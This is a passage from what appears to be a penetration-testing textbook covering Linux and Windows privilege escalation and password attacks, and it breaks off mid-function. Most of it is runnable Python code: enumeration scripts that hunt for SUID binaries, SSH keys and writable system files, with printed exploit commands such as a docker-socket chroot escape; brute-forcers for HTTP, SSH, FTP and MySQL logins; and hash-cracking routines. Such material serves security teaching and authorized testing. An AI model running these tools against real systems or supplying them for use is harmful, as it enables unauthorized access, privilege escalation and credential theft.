        """Check NFS shares configuration"""
        
        print("\n[*] Checking NFS shares...")
        
        try:
            if os.path.exists('/etc/exports'):
                with open('/etc/exports', 'r') as f:
                    for line in f:
                        if 'no_root_squash' in line:
                            print(f"[!] NFS share with no_root_squash: {line.strip()}")
                            print("    Exploit: mount -o rw,vers=2 share /mnt/nfs")
                            print("             Create setuid binary on share")
                            
        except Exception as e:
            pass
    
    def check_environment_variables(self):
        """Check environment variables for privilege escalation vectors"""
        
        print("\n[*] Checking environment variables...")
        
        dangerous_env = {
            'LD_PRELOAD': 'Can load arbitrary libraries',
            'LD_LIBRARY_PATH': 'Can hijack library loading',
            'PATH': 'If writable directory in PATH',
            'PYTHONPATH': 'Can hijack Python imports',
            'PERL5LIB': 'Can hijack Perl imports',
            'RUBYLIB': 'Can hijack Ruby imports'
        }
        
        for env_var, desc in dangerous_env.items():
            value = os.environ.get(env_var)
            if value:
                print(f"[!] {env_var} is set: {value}")
                print(f"    Danger: {desc}")
    
    def check_docker_socket(self):
        """Check for accessible Docker socket"""
        
        print("\n[*] Checking Docker socket...")
        
        docker_socket = '/var/run/docker.sock'
        if os.path.exists(docker_socket) and os.access(docker_socket, os.R_OK|os.W_OK):
            print(f"[!] Docker socket is writable: {docker_socket}")
            print("    Exploit: docker run -v /:/host -it alpine chroot /host")
    
    def run_all_checks(self):
        """Run all privilege escalation checks"""
        
        print("=" * 60)
        print("LINUX PRIVILEGE ESCALATION CHECKLIST")
        print("=" * 60)
        
        self.check_kernel_version()
        self.check_sudo()
        self.check_suid()
        self.check_capabilities()
        self.check_cron()
        self.check_writable_files()
        self.check_writable_directories()
        self.check_groups()
        self.check_mysql_root()
        self.check_nfs_shares()
        self.check_environment_variables()
        self.check_docker_socket()
        
        print("\n" + "=" * 60)
        print("PRIVILEGE ESCALATION CHECK COMPLETE")
        print("=" * 60)

# Example usage
privesc = LinuxPrivEsc()
privesc.run_all_checks()

17.3.2 Automated Linux Enumeration Script

#!/usr/bin/env python3
# linux_enum.py - Comprehensive Linux enumeration script

import os
import sys
import pwd
import grp
import subprocess
import socket
import platform
from datetime import datetime

class LinuxEnumerator:
    def __init__(self):
        self.output = []
        self.vulnerabilities = []
        
    def log(self, message, level="INFO"):
        timestamp = datetime.now().strftime("%H:%M:%S")
        self.output.append(f"[{timestamp}][{level}] {message}")
        
    def run_command(self, cmd, shell=True):
        """Run command and return output"""
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, shell=shell, timeout=5)
            return result.stdout.strip()
        except:
            return ""
    
    def enumerate_system_info(self):
        """Enumerate basic system information"""
        
        self.log("=" * 60)
        self.log("SYSTEM INFORMATION")
        self.log("=" * 60)
        
        # Hostname
        hostname = socket.gethostname()
        self.log(f"Hostname: {hostname}")
        
        # OS Information
        os_info = self.run_command("cat /etc/os-release | grep -E 'PRETTY_NAME|VERSION'")
        self.log(f"OS: {os_info}")
        
        # Kernel version
        kernel = self.run_command("uname -a")
        self.log(f"Kernel: {kernel}")
        
        # Architecture
        arch = platform.machine()
        self.log(f"Architecture: {arch}")
        
        # Uptime
        uptime = self.run_command("uptime")
        self.log(f"Uptime: {uptime}")
        
        # Current user
        user = self.run_command("whoami")
        self.log(f"Current user: {user}")
        
        # User ID
        uid_info = self.run_command("id")
        self.log(f"ID: {uid_info}")
        
    def enumerate_users(self):
        """Enumerate users and groups"""
        
        self.log("\n" + "=" * 60)
        self.log("USER ENUMERATION")
        self.log("=" * 60)
        
        # List users from /etc/passwd
        self.log("Users from /etc/passwd:")
        with open('/etc/passwd', 'r') as f:
            for line in f:
                if '/bin/bash' in line or '/bin/sh' in line or '/bin/zsh' in line:
                    parts = line.strip().split(':')
                    self.log(f"  {parts[0]}:{parts[5]} ({parts[6]})")
                    
        # Current logged in users
        logged_in = self.run_command("who")
        self.log(f"\nLogged in users:\n{logged_in}")
        
        # Last logins
        last = self.run_command("last -n 10 | grep -v 'wtmp'")
        self.log(f"\nLast 10 logins:\n{last}")
        
        # Sudoers
        sudoers = self.run_command("cat /etc/sudoers 2>/dev/null | grep -v '#'")
        if sudoers:
            self.log("\nSudoers entries:")
            self.log(sudoers)
            
    def enumerate_network(self):
        """Enumerate network configuration"""
        
        self.log("\n" + "=" * 60)
        self.log("NETWORK ENUMERATION")
        self.log("=" * 60)
        
        # Interfaces
        interfaces = self.run_command("ip addr show")
        self.log(f"Network interfaces:\n{interfaces}")
        
        # Routing table
        routes = self.run_command("route -n")
        self.log(f"\nRouting table:\n{routes}")
        
        # DNS servers
        if os.path.exists('/etc/resolv.conf'):
            with open('/etc/resolv.conf', 'r') as f:
                self.log(f"\nDNS servers:\n{f.read()}")
                
        # ARP cache
        arp = self.run_command("arp -a")
        self.log(f"\nARP cache:\n{arp}")
        
        # Open ports
        netstat = self.run_command("netstat -tulpn 2>/dev/null | grep LISTEN")
        self.log(f"\nListening ports:\n{netstat}")
        
        # Active connections
        connections = self.run_command("ss -tunp")
        self.log(f"\nActive connections:\n{connections}")
        
    def enumerate_processes(self):
        """Enumerate running processes"""
        
        self.log("\n" + "=" * 60)
        self.log("PROCESS ENUMERATION")
        self.log("=" * 60)
        
        # Running processes
        ps = self.run_command("ps auxf")
        self.log(f"Running processes (first 50):\n{ps[:2000]}")
        
        # Processes running as root
        root_procs = self.run_command("ps aux | grep '^root'")
        self.log(f"\nProcesses running as root:\n{root_procs}")
        
        # Interesting processes
        interesting = ['apache', 'nginx', 'mysql', 'postgres', 'tomcat', 'docker', 'kube']
        for proc in interesting:
            count = self.run_command(f"ps aux | grep -c {proc}")
            if count and int(count) > 0:
                self.log(f"[!] {proc} is running")
                
    def enumerate_filesystem(self):
        """Enumerate filesystem for interesting files"""
        
        self.log("\n" + "=" * 60)
        self.log("FILESYSTEM ENUMERATION")
        self.log("=" * 60)
        
        # SUID binaries
        suid = self.run_command("find / -perm -4000 -type f -ls 2>/dev/null | head -20")
        self.log(f"SUID binaries:\n{suid}")
        
        # SGID binaries
        sgid = self.run_command("find / -perm -2000 -type f -ls 2>/dev/null | head -20")
        self.log(f"\nSGID binaries:\n{sgid}")
        
        # World-writable files
        writable = self.run_command("find / -perm -2 -type f -ls 2>/dev/null | head -20")
        self.log(f"\nWorld-writable files:\n{writable}")
        
        # Files with capabilities
        caps = self.run_command("getcap -r / 2>/dev/null | head -20")
        self.log(f"\nFiles with capabilities:\n{caps}")
        
        # SSH keys
        ssh_keys = self.run_command("find /home -name 'id_rsa' -o -name 'id_dsa' 2>/dev/null")
        if ssh_keys:
            self.log(f"\n[!] Found SSH private keys:\n{ssh_keys}")
            
        # Configuration files
        configs = self.run_command("find / -name '*.conf' -o -name '*.config' 2>/dev/null | head -20")
        self.log(f"\nConfiguration files:\n{configs}")
        
        # Log files
        logs = self.run_command("find /var/log -type f -name '*.log' 2>/dev/null | head -10")
        self.log(f"\nLog files:\n{logs}")
        
    def enumerate_cron(self):
        """Enumerate cron jobs"""
        
        self.log("\n" + "=" * 60)
        self.log("CRON ENUMERATION")
        self.log("=" * 60)
        
        # System crontab
        if os.path.exists('/etc/crontab'):
            with open('/etc/crontab', 'r') as f:
                self.log(f"/etc/crontab:\n{f.read()}")
                
        # Cron directories
        cron_dirs = ['/etc/cron.d', '/etc/cron.daily', '/etc/cron.hourly', 
                    '/etc/cron.monthly', '/etc/cron.weekly']
        
        for cron_dir in cron_dirs:
            if os.path.exists(cron_dir):
                files = os.listdir(cron_dir)
                if files:
                    self.log(f"\n{cron_dir}: {', '.join(files)}")
                    
        # User crontabs
        user_crons = self.run_command("ls -la /var/spool/cron/crontabs/ 2>/dev/null")
        if user_crons:
            self.log(f"\nUser crontabs:\n{user_crons}")
            
    def enumerate_services(self):
        """Enumerate running services"""
        
        self.log("\n" + "=" * 60)
        self.log("SERVICE ENUMERATION")
        self.log("=" * 60)
        
        # Systemd services
        services = self.run_command("systemctl list-units --type=service --all | head -20")
        self.log(f"Systemd services:\n{services}")
        
        # Init.d scripts
        if os.path.exists('/etc/init.d'):
            scripts = os.listdir('/etc/init.d')
            self.log(f"\nInit.d scripts: {', '.join(scripts[:20])}")
            
        # Docker containers
        docker = self.run_command("docker ps -a 2>/dev/null")
        if docker:
            self.log(f"\nDocker containers:\n{docker}")
            
    def check_vulnerabilities(self):
        """Check for common vulnerabilities"""
        
        self.log("\n" + "=" * 60)
        self.log("VULNERABILITY CHECKS")
        self.log("=" * 60)
        
        # Check kernel for known vulnerabilities
        kernel = self.run_command("uname -r")
        
        # Dirty Cow (CVE-2016-5195)
        if kernel and kernel.startswith('2.6.'):
            self.log("[!] Possibly vulnerable to Dirty Cow (CVE-2016-5195)")
            self.vulnerabilities.append("Dirty Cow")
            
        # Overlayfs (CVE-2015-1328)
        if kernel and kernel.startswith('3.13.0') or kernel.startswith('3.16.0'):
            self.log("[!] Possibly vulnerable to Overlayfs (CVE-2015-1328)")
            self.vulnerabilities.append("Overlayfs")
            
        # Check sudo version
        sudo_version = self.run_command("sudo --version | head -1")
        if '1.8.' in sudo_version:
            self.log("[!] Older sudo version may be vulnerable")
            self.vulnerabilities.append("Old sudo version")
            
        # Check for writable /etc/passwd
        if os.path.exists('/etc/passwd') and os.access('/etc/passwd', os.W_OK):
            self.log("[!] /etc/passwd is writable!")
            self.vulnerabilities.append("Writable /etc/passwd")
            
        # Check for writable /etc/shadow
        if os.path.exists('/etc/shadow') and os.access('/etc/shadow', os.W_OK):
            self.log("[!] /etc/shadow is writable!")
            self.vulnerabilities.append("Writable /etc/shadow")
            
    def generate_report(self):
        """Generate final report"""
        
        report = "\n" + "=" * 60
        report += "\nLINUX ENUMERATION REPORT\n"
        report += "=" * 60 + "\n"
        report += f"Generated: {datetime.now()}\n"
        report += f"Hostname: {socket.gethostname()}\n"
        report += f"User: {self.run_command('whoami')}\n"
        report += "=" * 60 + "\n\n"
        
        report += "\n".join(self.output)
        
        report += "\n\n" + "=" * 60
        report += "\nVULNERABILITY SUMMARY\n"
        report += "=" * 60 + "\n"
        
        if self.vulnerabilities:
            for vuln in self.vulnerabilities:
                report += f"[!] {vuln}\n"
        else:
            report += "[+] No obvious vulnerabilities found\n"
            
        return report
    
    def save_report(self, filename):
        """Save report to file"""
        
        report = self.generate_report()
        with open(filename, 'w') as f:
            f.write(report)
        print(f"[+] Report saved to {filename}")

# Example usage
enumerator = LinuxEnumerator()
enumerator.enumerate_system_info()
enumerator.enumerate_users()
enumerator.enumerate_network()
enumerator.enumerate_processes()
enumerator.enumerate_filesystem()
enumerator.enumerate_cron()
enumerator.enumerate_services()
enumerator.check_vulnerabilities()

enumerator.save_report("linux_enum_report.txt")

17.4 Privilege Escalation (Windows)

Windows privilege escalation requires understanding of Windows-specific security mechanisms.

17.4.1 Windows Privilege Escalation Techniques

#!/usr/bin/env python3
# windows_privesc.py

import subprocess
import os
import re

class WindowsPrivEsc:
    def __init__(self):
        self.techniques = {
            'kernel_exploit': 'Exploit Windows kernel vulnerabilities',
            'service_permissions': 'Misconfigured service permissions',
            'unquoted_paths': 'Unquoted service paths',
            'weak_service_permissions': 'Weak service ACLs',
            'always_install_elevated': 'AlwaysInstallElevated registry key',
            'scheduled_tasks': 'Misconfigured scheduled tasks',
            'startup_apps': 'Startup applications',
            'dll_hijacking': 'DLL hijacking',
            'token_impersonation': 'Token impersonation',
            'registry_checks': 'Writable registry keys',
            'seimpersonate': 'SeImpersonatePrivilege enabled'
        }
        
    def check_windows_version(self):
        """Check Windows version and build"""
        
        print("[*] Checking Windows version...")
        
        try:
            result = subprocess.run(['systeminfo'], capture_output=True, text=True)
            
            for line in result.stdout.split('\n'):
                if 'OS Name' in line:
                    print(f"[+] {line.strip()}")
                if 'OS Version' in line:
                    print(f"[+] {line.strip()}")
                    version = line.split(':')[1].strip()
                    
                    # Check for known vulnerable versions
                    if '7601' in version:  # Windows 7 SP1
                        print("[!] Windows 7 SP1 - potentially vulnerable to EternalBlue")
                    elif '14393' in version:  # Windows 10 1607
                        print("[!] Windows 10 1607 - check for recent exploits")
                        
        except Exception as e:
            print(f"Error checking version: {e}")
    
    def check_whoami(self):
        """Check current user privileges"""
        
        print("\n[*] Checking current user privileges...")
        
        try:
            # Check whoami
            result = subprocess.run(['whoami', '/all'], capture_output=True, text=True)
            
            for line in result.stdout.split('\n'):
                if 'SeImpersonatePrivilege' in line and 'Enabled' in line:
                    print("[!] SeImpersonatePrivilege is enabled!")
                    print("    Exploit: Use JuicyPotato or PrintSpoofer")
                if 'SeAssignPrimaryTokenPrivilege' in line and 'Enabled' in line:
                    print("[!] SeAssignPrimaryTokenPrivilege is enabled!")
                if 'SeCreateTokenPrivilege' in line and 'Enabled' in line:
                    print("[!] SeCreateTokenPrivilege is enabled!")
                if 'SeDebugPrivilege' in line and 'Enabled' in line:
                    print("[!] SeDebugPrivilege is enabled!")
                    
        except Exception as e:
            print(f"Error checking privileges: {e}")
    
    def check_service_permissions(self):
        """Check service permissions with sc and accesschk"""
        
        print("\n[*] Checking service permissions...")
        
        try:
            # List services
            result = subprocess.run(['sc', 'query'], capture_output=True, text=True)
            services = re.findall(r'SERVICE_NAME: (.*)', result.stdout)
            
            for service in services[:20]:  # Check first 20
                # Check service config
                config = subprocess.run(['sc', 'qc', service], capture_output=True, text=True)
                
                # Look for unquoted paths
                for line in config.stdout.split('\n'):
                    if 'BINARY_PATH_NAME' in line:
                        path = line.split(':')[1].strip()
                        if ' ' in path and '"' not in path:
                            print(f"[!] Unquoted service path: {service} - {path}")
                            
                # Check service permissions (requires accesschk from Sysinternals)
                # accesschk = subprocess.run(['accesschk.exe', service], capture_output=True)
                
        except Exception as e:
            print(f"Error checking services: {e}")
    
    def check_registry(self):
        """Check registry for privilege escalation vectors"""
        
        print("\n[*] Checking registry...")
        
        # AlwaysInstallElevated
        try:
            result = subprocess.run([
                'reg', 'query', 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
                '/v', 'AlwaysInstallElevated'
            ], capture_output=True, text=True)
            
            if '0x1' in result.stdout:
                print("[!] AlwaysInstallElevated enabled (HKLM)")
                
            result = subprocess.run([
                'reg', 'query', 'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
                '/v', 'AlwaysInstallElevated'
            ], capture_output=True, text=True)
            
            if '0x1' in result.stdout:
                print("[!] AlwaysInstallElevated enabled (HKCU)")
                print("    Exploit: Generate malicious MSI package")
                
        except Exception as e:
            pass
            
        # AutoRun entries
        try:
            autorun_keys = [
                'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
                'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce',
                'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
                'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce'
            ]
            
            for key in autorun_keys:
                result = subprocess.run(['reg', 'query', key], capture_output=True, text=True)
                if result.returncode == 0:
                    print(f"[*] AutoRun entries in {key}:")
                    print(result.stdout)
                    
        except Exception as e:
            pass
    
    def check_startup_folders(self):
        """Check startup folders for writable permissions"""
        
        print("\n[*] Checking startup folders...")
        
        startup_paths = [
            'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
            os.path.expandvars('%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'),
            os.path.expandvars('%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup')
        ]
        
        for path in startup_paths:
            if os.path.exists(path):
                # Check if writable (simplified)
                try:
                    test_file = os.path.join(path, 'test.txt')
                    with open(test_file, 'w') as f:
                        f.write('test')
                    os.remove(test_file)
                    print(f"[!] Writable startup folder: {path}")
                except:
                    print(f"[-] Not writable: {path}")
    
    def check_scheduled_tasks(self):
        """Check scheduled tasks"""
        
        print("\n[*] Checking scheduled tasks...")
        
        try:
            result = subprocess.run(['schtasks', '/query', '/fo', 'LIST', '/v'], 
                                  capture_output=True, text=True)
            
            tasks = result.stdout.split('\n\n')
            for task in tasks[:10]:  # Check first 10
                if 'SYSTEM' in task or 'LOCAL SERVICE' in task:
                    # Extract task name and command
                    task_name = re.search(r'TaskName:\s+(.+)', task)
                    task_run = re.search(r'Task To Run:\s+(.+)', task)
                    
                    if task_name and task_run:
                        print(f"[*] System task: {task_name.group(1)}")
                        print(f"    Runs: {task_run.group(1)}")
                        
                        # Check if task file is writable
                        task_file = task_run.group(1).strip('"')
                        if os.path.exists(task_file):
                            if os.access(task_file, os.W_OK):
                                print(f"[!] Writable task binary: {task_file}")
                                
        except Exception as e:
            print(f"Error checking tasks: {e}")
    
    def check_dll_hijacking(self):
        """Check for potential DLL hijacking opportunities"""
        
        print("\n[*] Checking for DLL hijacking opportunities...")
        
        # Common writable paths
        writable_paths = [
            'C:\\Windows\\Temp',
            'C:\\Temp',
            os.path.expandvars('%TEMP%'),
            os.path.expandvars('%TMP%')
        ]
        
        for path in writable_paths:
            if os.path.exists(path) and os.access(path, os.W_OK):
                print(f"[!] Writable path for DLL hijacking: {path}")
                
        # Check PATH directories for writable ones
        path_dirs = os.environ.get('PATH', '').split(';')
        for directory in path_dirs:
            if directory and os.path.exists(directory) and os.access(directory, os.W_OK):
                print(f"[!] Writable directory in PATH: {directory}")
    
    def check_installed_software(self):
        """Check installed software for vulnerable versions"""
        
        print("\n[*] Checking installed software...")
        
        try:
            # Get installed programs from registry
            result = subprocess.run([
                'reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
                '/s'
            ], capture_output=True, text=True)
            
            software = re.findall(r'DisplayName\s+REG_SZ\s+(.+)', result.stdout)
            
            vulnerable_software = {
                'Adobe Reader': 'Adobe Reader',
                'Java': 'Java',
                'Flash': 'Flash Player',
                'Chrome': 'Google Chrome',
                'Firefox': 'Mozilla Firefox',
                'Office': 'Microsoft Office',
                'IIS': 'IIS',
                'SQL Server': 'SQL Server',
                'VNC': 'VNC',
                'TeamViewer': 'TeamViewer'
            }
            
            found = []
            for soft in software:
                for vuln, name in vulnerable_software.items():
                    if vuln.lower() in soft.lower():
                        if name not in found:
                            found.append(name)
                            print(f"[*] Installed: {soft}")
                            
        except Exception as e:
            print(f"Error checking software: {e}")
    
    def run_all_checks(self):
        """Run all Windows privilege escalation checks"""
        
        print("=" * 60)
        print("WINDOWS PRIVILEGE ESCALATION CHECKLIST")
        print("=" * 60)
        
        self.check_windows_version()
        self.check_whoami()
        self.check_service_permissions()
        self.check_registry()
        self.check_startup_folders()
        self.check_scheduled_tasks()
        self.check_dll_hijacking()
        self.check_installed_software()
        
        print("\n" + "=" * 60)
        print("PRIVILEGE ESCALATION CHECK COMPLETE")
        print("=" * 60)

# Example usage
privesc = WindowsPrivEsc()
privesc.run_all_checks()

17.5 Password Attacks

Password attacks are often necessary when other exploitation vectors fail.

17.5.1 Online Password Attacks

#!/usr/bin/env python3
# online_password_attacks.py

import requests
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor

class OnlinePasswordAttacker:
    def __init__(self, target, attack_type='http'):
        self.target = target
        self.attack_type = attack_type
        self.found = []
        self.lock = threading.Lock()
        
    def http_bruteforce(self, url, username_field, password_field, usernames, passwords):
        """HTTP form bruteforce"""
        
        print(f"[*] Starting HTTP bruteforce against {url}")
        
        def try_login(username, password):
            data = {
                username_field: username,
                password_field: password
            }
            
            try:
                response = requests.post(url, data=data, timeout=5)
                
                # Check for login success indicators
                success_indicators = ['welcome', 'dashboard', 'logout', 'profile']
                for indicator in success_indicators:
                    if indicator in response.text.lower():
                        with self.lock:
                            print(f"[+] Found credentials: {username}:{password}")
                            self.found.append((username, password))
                        return True
            except:
                pass
            return False
        
        total = len(usernames) * len(passwords)
        attempts = 0
        
        for username in usernames:
            for password in passwords:
                attempts += 1
                if attempts % 100 == 0:
                    print(f"  Progress: {attempts}/{total} ({attempts/total*100:.1f}%)")
                    
                if try_login(username, password):
                    break
        
        return self.found
    
    def ssh_bruteforce(self, port=22, usernames=None, passwords=None):
        """SSH bruteforce using paramiko"""
        
        print(f"[*] Starting SSH bruteforce against {self.target}:{port}")
        
        try:
            import paramiko
        except ImportError:
            print("[-] paramiko not installed. Install with: pip install paramiko")
            return []
            
        def try_ssh(username, password):
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            
            try:
                client.connect(self.target, port=port, username=username, 
                             password=password, timeout=5)
                with self.lock:
                    print(f"[+] SSH credentials found: {username}:{password}")
                    self.found.append((username, password))
                client.close()
                return True
            except:
                pass
            return False
        
        for username in usernames:
            for password in passwords:
                if try_ssh(username, password):
                    break
                    
        return self.found
    
    def ftp_bruteforce(self, port=21, usernames=None, passwords=None):
        """FTP bruteforce"""
        
        print(f"[*] Starting FTP bruteforce against {self.target}:{port}")
        
        def try_ftp(username, password):
            try:
                import ftplib
                ftp = ftplib.FTP()
                ftp.connect(self.target, port, timeout=5)
                ftp.login(username, password)
                ftp.quit()
                with self.lock:
                    print(f"[+] FTP credentials found: {username}:{password}")
                    self.found.append((username, password))
                return True
            except:
                pass
            return False
        
        for username in usernames:
            for password in passwords:
                if try_ftp(username, password):
                    break
                    
        return self.found
    
    def mysql_bruteforce(self, port=3306, usernames=None, passwords=None):
        """MySQL bruteforce"""
        
        print(f"[*] Starting MySQL bruteforce against {self.target}:{port}")
        
        try:
            import pymysql
        except ImportError:
            print("[-] pymysql not installed. Install with: pip install pymysql")
            return []
            
        def try_mysql(username, password):
            try:
                conn = pymysql.connect(
                    host=self.target,
                    port=port,
                    user=username,
                    password=password,
                    connect_timeout=5
                )
                conn.close()
                with self.lock:
                    print(f"[+] MySQL credentials found: {username}:{password}")
                    self.found.append((username, password))
                return True
            except:
                pass
            return False
        
        for username in usernames:
            for password in passwords:
                if try_mysql(username, password):
                    break
                    
        return self.found
    
    def rdp_bruteforce(self, port=3389, usernames=None, passwords=None):
        """RDP bruteforce using crowbar or similar"""
        
        print(f"[*] Starting RDP bruteforce against {self.target}:{port}")
        print("    Use specialized tools like crowbar or ncrack for RDP")
        
        # This would integrate with external tools
        return []
    
    def generate_wordlist(self, base_words, rules=None):
        """Generate password wordlist based on rules"""
        
        wordlist = set(base_words)
        
        if rules:
            for word in base_words:
                # Common substitutions
                if 'capitalize' in rules:
                    wordlist.add(word.capitalize())
                if 'uppercase' in rules:
                    wordlist.add(word.upper())
                if 'leet' in rules:
                    leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
                    wordlist.add(leet)
                if 'append_year' in rules:
                    for year in ['2020', '2021', '2022', '2023', '2024']:
                        wordlist.add(word + year)
                if 'append_number' in rules:
                    for i in range(10):
                        wordlist.add(word + str(i))
                        
        return list(wordlist)

# Example usage
attacker = OnlinePasswordAttacker('192.168.1.100', 'http')

# Generate wordlist
usernames = ['admin', 'administrator', 'root', 'user', 'test']
passwords = ['password', '123456', 'admin', 'letmein', 'qwerty']

# HTTP attack
# results = attacker.http_bruteforce('http://192.168.1.100/login', 'username', 'password', 
#                                     usernames, passwords)

# SSH attack
# results = attacker.ssh_bruteforce(22, usernames, passwords)

17.5.2 Offline Password Cracking

#!/usr/bin/env python3
# offline_password_cracking.py

import hashlib
import crypt
import itertools
import string
import time
from concurrent.futures import ProcessPoolExecutor

class OfflinePasswordCracker:
    def __init__(self):
        self.hash_types = {
            'md5': hashlib.md5,
            'sha1': hashlib.sha1,
            'sha256': hashlib.sha256,
            'sha512': hashlib.sha512,
            'ntlm': self.ntlm_hash
        }
        
    def ntlm_hash(self, password):
        """Calculate NTLM hash"""
        import hashlib
        hash = hashlib.new('md4', password.encode('utf-16le')).digest()
        return hash.hex().upper()
    
    def crack_md5(self, hash_value, wordlist):
        """Crack MD5 hash with wordlist"""
        
        print(f"[*] Cracking MD5 hash: {hash_value}")
        
        for word in wordlist:
            word = word.strip()
            if hashlib.md5(word.encode()).hexdigest() == hash_value:
                print(f"[+] Password found: {word}")
                return word
                
        return None
    
    def crack_sha1(self, hash_value, wordlist):
        """Crack SHA1 hash with wordlist"""
        
        for word in wordlist:
            word = word.strip()
            if hashlib.sha1(word.encode()).hexdigest() == hash_value:
                return word
        return None
    
    def crack_ntlm(self, hash_value, wordlist):
        """Crack NTLM hash with wordlist"""
        
        for word in wordlist:
            if self.ntlm_hash(word) == hash_value.upper():
                return word
        return None
    
    def crack_unix(self, hash_string, wordlist):
        """Crack Unix crypt hash"""
        
        # Format: $id$salt$hash
        parts = hash_string.split('$')
        if len(parts) == 4:
            hash_type = parts[1]
            salt = parts[2]
            target_hash = parts[3]
            
            for word in wordlist:
                crypt_hash = crypt.crypt(word, f"${hash_type}${salt}$")
                if crypt_hash == hash_string:
                    return word
                    
        return None
    
    def brute_force(self, hash_value, hash_type, max_length=8, charset=None):
        """Brute force attack"""
        
        if charset is None:
            charset = string.ascii_lowercase + string.digits
            
        hash_func = self.hash_types.get(hash_type)
        if not hash_func:
            print(f"[-] Unknown hash type: {hash_type}")
            return None
            
        print(f"[*] Starting brute force (max length: {max_length}, charset size: {len(charset)})")
        start_time = time.time()
        
        for length in range(1, max_length + 1):
            print(f"  Testing length {length}...")
            
            for combination in itertools.product(charset, repeat=length):
                word = ''.join(combination)
                
                if hash_func(word) == hash_value:
                    elapsed = time.time() - start_time
                    print(f"[+] Password found: {word} in {elapsed:.2f} seconds")
                    return word
                    
        return None
    
    def dictionary_attack(self, hash_value, hash_type, wordlist_file, rules=None):
        """Dictionary attack with optional rules"""
        
        hash_func = self.hash_types.get(hash_type)
        if not hash_func:
            return None
            
        print(f"[*] Starting dictionary attack with {wordlist_file}")
        
        try:
            with open(wordlist_file, 'r', errors='ignore') as f:
                wordlist = f.readlines()
        except FileNotFoundError:
            print(f"[-] Wordlist not found: {wordlist_file}")
            return None
            
        # Basic dictionary
        for word in wordlist:
            word = word.strip()
            if hash_func(word) == hash_value:
                return word
                
        # Apply rules if specified
        if rules:
            for word in wordlist:
                word = word.strip()
                
                # Capitalize first letter
                if hash_func(word.capitalize()) == hash_value:
                    return word.capitalize()
                    
                # All uppercase
                if hash_func(word.upper()) == hash_value:
                    return word.upper()
                    
                # Append common numbers
                for i in range(10):
                    if hash_func(word + str(i)) == hash_value:
                        return word + str(i)
                        
        return None
    
    def mask_attack(self, hash_value, hash_type, mask):
        """Mask attack (e.g., ?l?l?d?d for 2 letters + 2 digits)"""
        
        hash_func = self.hash_types.get(hash_type)
        if not hash_func:
            return None
            
        # Parse mask
        charset_map = {
            '?l': string.ascii_lowercase,
            '?u': string.ascii_uppercase,
            '?d': string.digits,
            '?s': string.punctuation,
            '?a': string.ascii_letters + string.digits + string.punctuation
        }
        
        charsets = []
        for char in mask:
            if char == '?':
                continue
            if char in charset_map:
                charsets.append(charset_map[char])
                
        total = 1
        for cs in charsets:
            total *= len(cs)
            
        print(f"[*] Starting mask attack: {mask} ({total} combinations)")
        start_time = time.time()
        
        for combination in itertools.product(*charsets):
            word = ''.join(combination)
            if hash_func(word) == hash_value:
                elapsed = time.time() - start_time
                print(f"[+] Password found: {word} in {elapsed:.2f} seconds")
                return word
                
        return None
    
    def rainbow_table_lookup(self, hash_value, rainbow_table):
        """Rainbow table lookup (simplified)"""
        
        print(f"[*] Looking up hash in rainbow table")
        
        # In practice, this would query a rainbow table database
        # For demo purposes, we'll just check a dictionary
        return None
    
    def parallel_crack(self, hash_value, hash_type, wordlist_file, num_processes=4):
        """Parallel cracking with multiple processes"""
        
        hash_func = self.hash_types.get(hash_type)
        
        def crack_chunk(chunk):
            for word in chunk:
                word = word.strip()
                if hash_func(word) == hash_value:
                    return word
            return None
            
        # Read wordlist and split into chunks
        with open(wordlist_file, 'r', errors='ignore') as f:
            words = f.readlines()
            
        chunk_size = len(words) // num_processes
        chunks = [words[i:i + chunk_size] for i in range(0, len(words), chunk_size)]
        
        with ProcessPoolExecutor(max_workers=num_processes) as executor:
            futures = [executor.submit(crack_chunk, chunk) for chunk in chunks]
            
            for future in futures:
                result = future.result()
                if result:
                    return result
                    
        return None

# Example usage
cracker = OfflinePasswordCracker()

# Example hash (MD5 of "password")
hash_value = hashlib.md5(b"password").hexdigest()
print(f"Hash: {hash_value}")

# Dictionary attack
wordlist = ['password', '123456', 'admin', 'letmein']
result = cracker.crack_md5(hash_value, wordlist)
print(f"Result: {result}")

# Brute force (short password example)
# result = cracker.brute_force("5f4dcc3b5aa765d61d8327deb882cf99", "md5", max_length=3)

17.5.3 Password Cracking Tools Integration

#!/usr/bin/env python3
# password_tools.py

import subprocess
import os
import tempfile

class PasswordTools:
    def __init__(self):
        self.tools = {
            'john': '/usr/sbin/john',
            'hashcat': '/usr/bin/hashcat',
            'hydra': '/usr/bin/hydra',
            'ncrack': '/usr/bin/ncrack'
        }
        
    def check_tools(self):
        """Check if required tools are installed"""
        
        available = {}
        for tool, path in self.tools.items():
            if os.path.exists(path):
                available[tool] = path
                print(f"[+] {tool} found at {path}")
            else:
                print(f"[-] {tool} not found")
                
        return available
    
    def run_john(self, hash_file, format=None, wordlist=None):
        """Run John the Ripper"""
        
        cmd = ['john']
        
        if format:
            cmd.extend(['--format=' + format])
            
        if wordlist:
            cmd.extend(['--wordlist=' + wordlist])
            
        cmd.append(hash_file)
        
        print(f"[*] Running: {' '.join(cmd)}")
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
            
            # Show cracked passwords
            show = subprocess.run(['john', '--show', hash_file], capture_output=True, text=True)
            print(show.stdout)
            
            return show.stdout
        except Exception as e:
            print(f"Error: {e}")
            return None
    
    def run_hashcat(self, hash_file, attack_mode, hash_type, wordlist=None):
        """Run Hashcat"""
        
        cmd = ['hashcat', '-m', str(hash_type), '-a', str(attack_mode)]
        
        if wordlist:
            cmd.append(wordlist)
            
        cmd.append(hash_file)
        
